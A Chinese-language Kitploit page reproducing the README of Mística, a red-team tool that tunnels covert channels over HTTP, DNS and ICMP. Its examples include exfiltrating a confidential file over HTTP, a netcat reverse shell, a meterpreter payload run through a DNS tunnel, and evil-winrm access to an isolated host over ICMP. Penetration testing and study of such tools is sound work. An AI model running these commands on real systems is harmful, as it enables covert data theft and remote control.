Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Mistica — 一款用于在应用协议上进行任意通信的开源瑞士军刀 | Kitploit
工具/GitHubGitHub/incidedigital/mistica
数据泄露Web安全网络安全渗透测试命令与控制红队DNS 分析
GitHubincidedigital/mistica

Mistica

一款用于在应用协议上进行任意通信的开源瑞士军刀

查看仓库
245495年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Mística

Mística Logo
Mística 标志由 JoelGMSec 设计

Mística 是一款工具,能够将数据嵌入应用层协议字段中,旨在建立双向通道以实现任意通信。目前,已实现了对 HTTP、HTTPS、DNS 和 ICMP 协议的封装,预计未来还将引入更多协议。

Mística 采用模块化设计,围绕一种自定义传输协议构建,称为 SOTP:简单覆盖传输协议(Simple Overlay Transport Protocol)。数据经过加密、分块后放入 SOTP 数据包中。SOTP 数据包经过编码后嵌入到应用协议的指定字段中,并发送到另一端。

SOTP 层的目标是提供一种通用的二进制传输协议,开销极小。SOTP 数据包可以轻松隐藏或嵌入到合法的应用协议中。同时,SOTP 确保数据包被另一端接收,使用 RC4 加密数据(未来可能变更),并通过轮询机制确保信息能以透明的方式双向流动。

模块与 SOTP 层交互的目的如下:

  • 封装模块(Wrap modules 或 Wrappers):这些模块负责将 SOTP 数据包编码/解码到应用层协议中,或从应用层协议中解码/编码出来。
  • 覆盖模块(Overlay modules):这些模块通过 SOTP 通道进行通信。示例包括:输入/输出重定向(类似 netcat)、Shell(命令执行)、端口转发等。

封装模块和覆盖模块协同工作,以构建自定义应用程序,例如通过 DNS 进行输入重定向,或通过 HTTP 进行远程端口转发。

Mística 的模块化设计便于开发新模块。此外,用户可以轻松复刻现有模块,以使用自定义字段或编码,或修改覆盖模块的行为。

主要包含两个软件组件:

  • Mística 服务端(ms.py):使用作为所需应用层协议(HTTP、HTTPS、DNS、ICMP...)服务器的模块。其设计方式允许在单个 ms.py 实例中同时运行多个服务器、封装模块和覆盖模块,尽管此功能尚未完全实现。
  • Mística 客户端(mc.py):使用作为所需应用层协议(HTTP、HTTPS、DNS、ICMP...)客户端的模块。同一时间只能使用一个覆盖模块和一个封装模块。

演示

您可以在以下播放列表中查看 Mística 的部分演示

依赖项

该项目的依赖项极少。目前:

  • Mística 客户端至少需要 Python 3.7
  • Mística 服务端至少需要 Python 3.7 和 dnslib。``` python3.7 -m pip install pip --user pip3.7 install dnslib --user
root@kitploit:~
如果您不想在系统上安装Python,可以使用以下便携版本之一:

- https://www.anaconda.com/distribution/#download-section(适用于Windows、Linux和macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928(仅适用于Windows)

## 当前模块

覆盖模块:

- `io`:从标准输入读取,通过SOTP连接发送。从SOTP连接读取,输出到标准输出。
- `shell`:执行通过SOTP连接接收的命令并返回输出。与io模块兼容。
- `tcpconnect`:连接到TCP端口。从套接字读取,通过SOTP连接发送。从SOTP连接读取,通过套接字发送。
- `tcplisten`:绑定到TCP端口。从套接字读取,通过SOTP连接发送。从SOTP连接读取,通过套接字发送。

包装模块:

- `dns`:使用不同方法在DNS查询/响应中对数据进行编码/解码。
- `http`:使用不同方法在HTTP或HTTPS请求/响应中对数据进行编码/解码。
- `icmp`:在ICMP回显请求/响应的数据部分对数据进行编码/解码。

## 使用方法

`ms.py`:Mística 服务器

以下是帮助信息的显示效果:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
             [-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]

Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.

optional arguments:
  -h, --help            show this help message and exit
  -k KEY, --key KEY     RC4 key used to encrypt the comunications
  -l LIST, --list LIST  Lists modules or parameters. Options are: all,
                        overlays, wrappers, <overlay name>, <wrapper name>
  -m MODULES, --modules MODULES
                        Module pair in single-handler mode. format:
                        'overlay:wrapper'
  -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
                        args for the selected overlay module (Single-handler
                        mode)
  -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
                        args for the selected wrapper module (Single-handler
                        mode)
  -s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
                        args for the selected wrap server (Single-handler
                        mode)
  -v, --verbose         Level of verbosity in logger (no -v None, -v Low, -vv
                        Medium, -vvv High)

Mística 服务器有两个主要模式:

  • 单一处理程序模式:当使用参数启动 ms.py 时,它允许单个覆盖模块与单个包装模块交互。
  • 多处理程序模式:(尚未发布)当不带参数运行 ms.py 时,用户进入交互式控制台,可以在其中启动多个覆盖模块和包装模块。这些模块将能够在很少限制的情况下相互交互。

mc.py: Mística 客户端

以下是帮助信息的显示方式:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]

Mistica client.

optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)

root@kitploit:~
### 参数

- `-l, --list` 用于列出 `all` 模块,或仅列出一种类型:(`overlays` 或 `wrappers`),或列出某个模块可通过 `-o`、`-w` 或 `-s` 接受的参数。
- `-k, --key` 用于指定加密覆盖通信的密钥。客户端和服务器端必须相同,目前是强制性的。如果未来实现秘密共享方案,这可能会改变。
- `-m, --modules` 用于指定要使用的模块对。必须使用以下格式:**overlay_module** + **:** + **wrap_module**。该参数也是强制性的。
- `-w, --wrapper-args` 允许为封装模块指定特定配置。
- `-o, --overlay-args` 允许为覆盖模块指定特定配置。
- `-s, --wrap-server-args` 仅出现在 `ms.py` 上。它允许为封装服务器指定特定配置。每个封装模块依赖于一个封装服务器,两者的配置均可调整。

## 示例与高级用法

> 记住,你可以通过输入 `-l <module_name>`(例如 `./ms.py -l dns`)查看模块的所有可接受参数。也要记住使用长且复杂的密钥来保护你的通信!

### HTTP

为了说明 HTTP 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(`io`)。

- 使用默认 URI 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,**指定 IP 地址和端口**。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- 使用 **自定义 URI** 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- 使用 **自定义头部** 的 HTTP GET 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- 使用默认字段的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- 使用 **自定义头部** 的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- 使用 **自定义字段** 的 HTTP **POST** 方法,b64 编码,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- 使用 **自定义字段、自定义数据包大小、自定义重试次数、自定义超时时间,并指定 IP 和端口** 的 HTTP **POST** 方法,b64 编码:
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- 使用 **自定义字段** 的 HTTP **POST** 方法,b64 编码,**使用自定义错误模板**,使用 localhost 和 8080 端口(默认值)。
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,使用 **自定义 HTTP 响应码**,使用 localhost 和 8080 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- 使用默认 URI 的 HTTPS GET 方法,b64 编码,使用 443 端口。必须在 Mística 服务器端生成证书才能使用 ssl 选项,Mística 客户端只需接收 ssl 标志:
  - Mística 服务器端:
      - `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
      - `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- 使用默认 URI 的 HTTP GET 方法,b64 编码,在 Mística 客户端中使用代理服务器(可用于 HTTP 通信必须经过公司代理的环境,而计算机配置中未指定代理)。使用 Burpsuite 测试以下示例:
  - Mística 服务器端:`./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
  - Mística 客户端:`./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`

### DNS

为了说明 DNS 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(`io`)。

- TXT 查询,使用 localhost 和 5353 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey"`
- NS 查询,使用 localhost 和 5353 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- CNAME 查询,使用 localhost 和 5353 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- MX 查询,使用 localhost 和 5353 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- SOA 查询,使用 localhost 和 5353 端口(默认值):
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- TXT 查询,使用 localhost 和 5353 端口(默认值)以及 **自定义域名**:
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
  - Mística 客户端:  
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
      - `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- TXT 查询,指定端口和主机名:
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- TXT 查询,使用多个子域名:
  - Mística 服务器端:`./ms.py -m io:dns -k "rc4testkey"`
  - Mística 客户端:`./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`

### ICMP

Linux 内核在接收到 ICMP 回显请求数据包时,默认会自动响应一个 ICMP 回显应答数据包(不给我们任何回复选项)。因此,我们必须禁用 ICMP 响应,以便能够发送包含与客户端发送数据不同的自定义数据包。为此,请执行以下操作:

通过编辑 `/etc/sysctl.conf` 文件禁用内核的自动 ICMP 响应(需要 *root 权限*):

- 将以下行添加到你的 /etc/sysctl.conf 文件中:```
net.ipv4.icmp_echo_ignore_all=1
  • 然后运行:sysctl -p 使其生效。

现在,为了展示 ICMP 封装的不同方法,每个示例都将使用 IO 重定向覆盖模块(io)。

  • ICMP 数据段,使用 eth0 接口:
    • Mística 服务端:./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística 客户端:./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"

Shell 和 IO

你可以通过结合使用 io 和 shell 模块,在自定义通道上利用 mística 实现远程命令执行。例如:

  • 通过 DNS 使用 TXT 查询在客户端系统上执行命令。

    • Mística 服务端:sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"
    • Mística 客户端:./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"
  • 通过 HTTP 使用 GET 请求在服务端系统上执行命令:

    • Mística 服务端:./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"
    • Mística 客户端:./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"
  • 通过 ICMP 在客户端系统上执行命令:

    • Mística 服务端:./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"
    • Mística 客户端:./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"
  • 通过 HTTP 使用 IO 模块和重定向操作符来外泄文件:

    • Mística 服务端:./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf
    • Mística 客户端(重要:需从 cmd 运行):type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vv

使用 tcpconnect 和 tcplisten 进行端口转发

  • 通过 HTTP 进行远程端口转发(从服务端角度)。客户端上的地址 127.0.0.1:4444 将被转发到服务端的地址 127.0.0.1:5555。服务端的 5555 端口必须已经有程序在监听。
    • Mística 服务端:./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística 客户端:./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
  • 通过 DNS 进行本地端口转发(从服务端角度)。服务端上的地址 127.0.0.1:4444 将被转发到客户端的地址 127.0.0.1:5555。客户端的 5555 端口必须已经有程序在监听。
    • Mística 服务端:sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • Mística 客户端:./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"

Docker

已创建了一个 Docker 镜像用于本地使用。这样,如果只是测试工具,我们就不必安装 Python 或 dnslib,而且对于调试等场景也非常有用,因为它可以避免其他本地应用产生的噪音。构建镜像只需按以下步骤操作:

  • 首先用以下命令构建镜像:``` sudo docker build --tag mistica:latest .
root@kitploit:~
* 其次,使用以下命令创建网络:```
sudo docker network create misticanw
  • 第三次运行服务器:``` sudo docker run --network misticanw --sysctl net.ipv4.icmp_echo_ignore_all=1 -v $(pwd):/opt/Mistica -it mistica /bin/bash
root@kitploit:~
* 第四次运行客户端:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash

如何编译

Mística 是一个用 Python 开发的工具,这意味着,理论上,它可以被编译。

要编译该工具,我们将使用 Pyinstaller,这个工具允许我们生成一个二进制文件(取决于我们当前的操作系统),这意味着我们不能像在 C、C++、Golang、Rust 等其他语言中那样进行交叉编译。我们正在努力实现这一目标,不过,我们为您提供 Pyinstaller 命令,该命令将允许我们在任何操作系统中编译 Mística:

编译 Mística 客户端

由于 Mística 客户端没有依赖项,它可以直接用 Pyinstaller 编译。要编译它,请按照以下步骤操作:

  • 首先,为 Python3.7 或更高版本安装 pyinstaller:``` python3.7 -m pip install pyinstaller --user
root@kitploit:~
* 现在,使用以下命令编译 Mística Client:```
pyinstaller --onefile \
  --hiddenimport overlay.client.io \
  --hiddenimport overlay.client.shell \
  --hiddenimport overlay.client.tcpconnect \
  --hiddenimport overlay.client.tcplisten \
  --hiddenimport wrapper.client.http \
  --hiddenimport wrapper.client.dns \
  --hiddenimport wrapper.client.icmp \
  --hiddenimport overlay.server.io \
  --hiddenimport overlay.server.shell \
  --hiddenimport overlay.server.tcpconnect \
  --hiddenimport overlay.server.tcplisten \
  --hiddenimport wrapper.server.wrap_module.http \
  --hiddenimport wrapper.server.wrap_module.dns \
  --hiddenimport wrapper.server.wrap_module.icmp \
  --hiddenimport wrapper.server.wrap_server.httpserver \
  --hiddenimport wrapper.server.wrap_server.dnsserver \
  --hiddenimport wrapper.server.wrap_server.icmpserver \
  mc.py

编译 Mistica Server

如果你想编译 Mística Server,你需要使用 Pip 全局安装 Dnslib 库(记住这是 Mística 唯一的依赖,且仅用于 Mística Server)。为此,你需要遵循以下步骤:

  • 首先,在你的 Windows、Linux 或 Mac 系统上安装 Python3.7 或更高版本。
  • 其次,使用 Pip 安装 Dnslib 库:pip install dnslib(不带 "--user" 标志,这样它将被全局安装到系统上,否则 pyinstaller 将无法将其添加为隐藏导入。此步骤需要管理员权限)
  • 第三,使用 Pip 安装 Pyinstaller 库:pip install pyinstaller。
  • 第四,使用以下命令编译 Mística Server:``` pyinstaller --onefile
    --hiddenimport overlay.client.io
    --hiddenimport overlay.client.shell
    --hiddenimport overlay.client.tcpconnect
    --hiddenimport overlay.client.tcplisten
    --hiddenimport wrapper.client.http
    --hiddenimport wrapper.client.dns
    --hiddenimport wrapper.client.icmp
    --hiddenimport overlay.server.io
    --hiddenimport overlay.server.shell
    --hiddenimport overlay.server.tcpconnect
    --hiddenimport overlay.server.tcplisten
    --hiddenimport wrapper.server.wrap_module.http
    --hiddenimport wrapper.server.wrap_module.dns
    --hiddenimport wrapper.server.wrap_module.icmp
    --hiddenimport wrapper.server.wrap_server.httpserver
    --hiddenimport wrapper.server.wrap_server.dnsserver
    --hiddenimport wrapper.server.wrap_server.icmpserver
    --hiddenimport dnslib
    ms.py
root@kitploit:~
## 未来工作

- 交叉编译方法,以便能够为目标操作系统之外的多个操作系统编译Mistica。
- 用于SOTP协议的透明Diffie-Hellman密钥生成
- 多处理程序模式:`ms.py`的交互模式。这将允许用户在一个包装服务器上组合多个覆盖层、多个包装器和多个包装模块。
- 自定义模块开发的模块开发文档。目前不建议这样做,因为模块规范仍在开发中。
- 下一个模块:
    - SMB包装器
    - RAT和RAT处理程序覆盖层
    - SOCKS代理和动态端口转发覆盖层
    - 文件传输覆盖层
    - RDP包装器
- 用于更复杂封装的自定义HTTP模板
- 自定义客户端或服务器的SOTP协议规范文档。目前不建议这样做,因为该协议仍在开发中。

## 作者与许可证

本项目由Carlos Fernández Sánchez和Raúl Caro Teixidó开发。代码基于GNU通用公共许可证v3发布。

本项目使用了第三方开源代码,特别是:

- [Bitstring](https://github.com/scott-griffiths/bitstring)由Scott Griffiths开发。
- [一个二进制安全的RC4实现](https://github.com/DavidBuchanan314/rc4)由David Buchanan开发。
- [一个无依赖的DNS客户端](https://github.com/vlasebian/simple-dns-client)由Vlad Vitan开发。
- [一个无依赖的ICMP服务器和客户端](https://github.com/rcaroncd/ICMPack/)由Raul Caro开发。
下载工具
  • 在 Linux 客户端上使用 netcat 获取 HTTP 反向 shell。
    • Netcat 监听器(在服务端):nc -nlvp 5555
    • Mística 服务端:./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"
    • Mística 客户端:./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"
    • Netcat Shell(在 Linux 客户端):ncat -nve /bin/bash 127.0.0.1 4444
  • 通过 DNS 使用端口转发运行 meterpreter_reverse_tcp(Linux)。使用 msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin 生成 payload。
    • 在服务端运行 msfconsole 并使用以下命令启动 handler:handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555
    • Mística 服务端:sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"
    • Mística 客户端:./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"
    • 在客户端运行 meterpreter:./meterpreter_reverse_tcp_localhost_4444.bin
  • EvilWinrm 通过 ICMP 利用跳板机访问隔离机器。
    • Mistica 服务端:./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vv
    • Mistica 客户端:python.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vv
    • EvilWinrm 控制台(在 C2 机器上):evil-winrm -u Administrador -i 127.0.0.1 -P 5555